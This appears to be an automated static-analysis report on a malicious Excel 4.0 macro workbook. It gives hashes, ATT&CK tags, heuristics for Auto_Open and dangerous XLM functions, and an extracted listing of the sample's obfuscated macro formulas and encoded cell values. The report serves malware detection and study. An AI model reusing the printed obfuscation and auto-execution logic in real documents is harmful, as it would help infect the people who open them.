Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5939c9dccb068100…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:02 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 59fe60039b9edcf663f6ad4388e8b11a SHA-1: 55a17dfb94e37162f6cb7c9d0cf743ac3280a087 SHA-256: 5939c9dccb0681007e9c7bd74e409749fe41c6549a6f8ee1bfa1873bf5b450c0
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open entry, which is a common technique for executing malicious code upon opening. The critical heuristic 'OLE_XLM_DANGEROUS_FN' indicates the use of risky functions, including 'RUN', suggesting the macro is designed to download and execute a second-stage payload. The obfuscated document body and truncated script content prevent a more detailed analysis of the specific payload or target.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6878 bytes
SHA-256: 5195f96be5ca9ca4bdad18454081010ab64bef21ea6228b2b79c14406c0b1009
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DqFUOfbau
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B178 
' 0018     24 LABEL : Cell Value, String Constant - bmamajlON len=0 
' 0018     22 LABEL : Cell Value, String Constant - cvzWmdf len=0 
' 0018     23 LABEL : Cell Value, String Constant - eHbSuNsp len=0 
' 0018     27 LABEL : Cell Value, String Constant - fAGgrWoWFEiy len=0 
' 0018     22 LABEL : Cell Value, String Constant - feAoYov len=0 
' 0018     27 LABEL : Cell Value, String Constant - GFtLMgdlRgfP len=0 
' 0018     24 LABEL : Cell Value, String Constant - gQwQaatux len=0 
' 0018     24 LABEL : Cell Value, String Constant - hKLAsglYj len=0 
' 0018     23 LABEL : Cell Value, String Constant - krTAXjJa len=0 
' 0018     27 LABEL : Cell Value, String Constant - KXYjUnlkHdqp len=0 
' 0018     26 LABEL : Cell Value, String Constant - OFCeKhGMsPf len=0 
' 0018     22 LABEL : Cell Value, String Constant - OOnotWw len=0 
' 0018     21 LABEL : Cell Value, String Constant - PLLPIu len=0 
' 0018     22 LABEL : Cell Value, String Constant - SDLGOYL len=0 
' 0018     22 LABEL : Cell Value, String Constant - SwsvVNF len=0 
' 0018     25 LABEL : Cell Value, String Constant - VjGHHeUWhV len=0 
' 0018     22 LABEL : Cell Value, String Constant - wTSXztj len=0 
' 0018     23 LABEL : Cell Value, String Constant - YawVIaqO len=0 
' 0018     24 LABEL : Cell Value, String Constant - ydCVWpOkb len=0 
' 0018     26 LABEL : Cell Value, String Constant - YRHxdsyMJQA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DqFUOfbau,S73,"",575.00000000000000000000
'  DqFUOfbau,S74,"",194.00000000000000000000
'  DqFUOfbau,S75,"",-658.00000000000000000000
'  DqFUOfbau,S76,"",-317.00000000000000000000
'  DqFUOfbau,S77,"",-861.00000000000000000000
'  DqFUOfbau,S78,"",-831.00000000000000000000
'  DqFUOfbau,B86,"SET.NAME("hKLAsglYj",0+VALUE("0"))",""
'  DqFUOfbau,B90,"SET.NAME("fAGgrWoWFEiy",hKLAsglYj)",""
'  DqFUOfbau,B92,"SET.NAME("YRHxdsyMJQA",hKLAsglYj)",""
'  DqFUOfbau,B97,"SET.NAME("eHbSuNsp",COUNTA(krTAXjJa))",""
'  DqFUOfbau,B101,"SET.NAME("PLLPIu",COUNTA(SDLGOYL))",""
'  DqFUOfbau,B105,[],""
'  DqFUOfbau,B108,"SET.NAME("cvzWmdf","")",""
'  DqFUOfbau,B111,"fAGgrWoWFEiy",""
'  DqFUOfbau,B114,"SET.NAME("VjGHHeUWhV",HLOOKUP("*",krTAXjJa,fAGgrWoWFEiy,FALSE))",""
'  DqFUOfbau,B117,"GFtLMgdlRgfP",""
'  DqFUOfbau,B119,"SET.NAME("YawVIaqO",hKLAsglYj)",""
'  DqFUOfbau,B122,[],""
'  DqFUOfbau,B125,"YawVIaqO",""
'  DqFUOfbau,B127,"bmamajlON",""
'  DqFUOfbau,B130,"OOnotWw",""
'  DqFUOfbau,B135,"gQwQaatux",""
'  DqFUOfbau,B140,"SET.NAME("feAoYov",VALUE(HLOOKUP("*",SDLGOYL,gQwQaatux,FALSE)))",""
'  DqFUOfbau,B144,"SwsvVNF",""
'  DqFUOfbau,B148,"cvzWmdf",""
'  DqFUOfbau,B152,"YRHxdsyMJQA",""
'  DqFUOfbau,B157,NEXT(),""
'  DqFUOfbau,B160,"ydCVWpOkb",""
'  DqFUOfbau,B165,[],""
'  DqFUOfbau,B168,"KXYjUnlkHdqp",""
'  DqFUOfbau,B173,NEXT(),""
'  DqFUOfbau,B176,RETURN(),""
'  DqFUOfbau,B197,"SET.NAME("OFCeKhGMsPf",B86)",""
'  DqFUOfbau,B199,"krTAXjJa",""
'  DqFUOfbau,B202,"SET.NAME("SDLGOYL",R97C11)",""
'  DqFUOfbau,B205,"SET.NAME("KXYjUnlkHdqp",213)",""
'  DqFUOfbau,B209,"SET.NAME("wTSXztj",2)",""
'  DqFUOfbau,B212,OFCeKhGMsPf(),""
'  DqFUOfbau,B213,HALT(),""

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